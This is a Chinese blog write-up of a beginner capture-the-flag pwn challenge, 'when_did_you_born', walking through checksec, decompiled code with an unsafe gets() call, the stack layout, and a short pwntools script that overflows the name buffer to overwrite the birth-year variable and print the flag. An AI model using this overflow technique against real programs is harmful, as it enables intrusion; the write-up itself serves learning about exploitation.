

攻防世界pwn新手练习（when_did_you_born）

原创

BurYiA 于 2019-09-16 15:21:43 发布 463 收藏 2

分类专栏: [攻防世界 pwn](#) 文章标签: [pwn writeup](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_43681242/article/details/100863565

版权



[攻防世界](#) 同时被 2 个专栏收录

11 篇文章 0 订阅

订阅专栏



[pwn](#)

13 篇文章 1 订阅

订阅专栏

when_did_you_born

ok 多余的话就不继续累赘了昂, 直接上手

```
root@kali:~/Learn/PWN/when_did_you_born# ls
when_did_you_born
root@kali:~/Learn/PWN/when_did_you_born# checksec when_did_you_born
[*] '/root/Learn/PWN/when_did_you_born/when_did_you_born'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
root@kali:~/Learn/PWN/when_did_you_born#
```

程序同上次一样开了NX(堆栈不可执行)和CANNARY(栈保护)。接下来我们首先运行一遍程序

```
root@kali:~/Learn/PWN/when_you_born# ./when_you_born
What's Your Birth?
2000
What's Your Name?
BurYiA
You Are Born In 2000
You Are Naive.
You Speed One Second Here.
root@kali:~/Learn/PWN/when_you_born#
```

一个没什么意义的程序...注意他的输入的有两处
ok, 接下来我们用IDA直接看代码

```
1 int64 __fastcall main(int64 a1, char **a2, char **a3)
2 {
3     int64 result; // rax
4     char v4; // [rsp+0h] [rbp-20h]
5     unsigned int v5; // [rsp+8h] [rbp-18h]
6     unsigned int64 v6; // [rsp+18h] [rbp-8h]
7
8     v6 = __readfsqword(0x28u);
9     setbuf(stdin, 0LL);
10    setbuf(stdout, 0LL);
11    setbuf(stderr, 0LL);
12    puts("What's Your Birth?");
13    __isoc99_scanf("%d", &v5);
14    while ( getchar() != 10 )
15        ;
16    if ( v5 == 1926 )
17    {
18        puts("You Cannot Born In 1926!");
19        result = 0LL;
20    }
21    else
22    {
23        puts("What's Your Name?");
24        gets(&v4);
25        printf("You Are Born In %d\n", v5);
26        if ( v5 == 1926 )
27        {
28            puts("You Shall Have Flag.");
29            system("cat flag");
30        }
31        else
32        {
33            puts("You Are Naive.");
34            puts("You Speed One Second Here.");
35        }
36        result = 0LL;
37    }
38    return result;
39 }
```

https://blog.csdn.net/qq_43681242

很明显的可以看到当输入的年份为**1926**时可以得到**flag**。但是有个问题，在年份输入后它会有个判断当年份为1926时会报错并跳出...

emmm。。。。。。这怎么搞

全文看一下我们可以发现除了存放年份的v5变量以外，他还有一个v4和v6，那么他们是否有什么关联呢，我们双击点进去看一下

```
-0000000000000020 ;
-0000000000000020 var_20 db ?
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 var_18 db ?
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 var_8 db ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010 ; end of stack variables
```

(Handwritten red annotations: V4, V5, V6 with arrows pointing to var_20, var_18, and var_8 respectively)

https://blog.csdn.net/qq_43681242

ok，似不似很有意思？这意味着什么呢？这意味着我们可以用v4（Name）来覆盖v5（Birth）。哎，发现了么，这两个东西刚好就是咱们需要输入的东西，所以这道题到这里就结束了，一个简单的变量覆盖exp如下：

```
from pwn import *

r = remote("111.198.29.45", 58805)

payload = 'a' * (0x20 - 0x18) + p64(1926)

r.recvuntil("What's Your Birth?\n")
r.sendline("2000")

r.recvuntil("What's Your Name?\n")
r.sendline(payload)

print r.recv()
print r.recv()
```

代码效果如下咯:

```
root@kali:~/Learn/PWN/when_you_born# python a.py
[+] Opening connection to 111.198.29.45 on port 58805: Done
You Are Born In 1926

You Shall Have Flag.
cyberpeace{406:ddi bae12941cf}

[*] Closed connection to 111.198.29.45 port 58805
root@kali:~/Learn/PWN/when_you_born# vi a.py
```

ok, 完成

最后放一下我的博客 (www.buryia.top), 有兴趣的师傅们可以来逛逛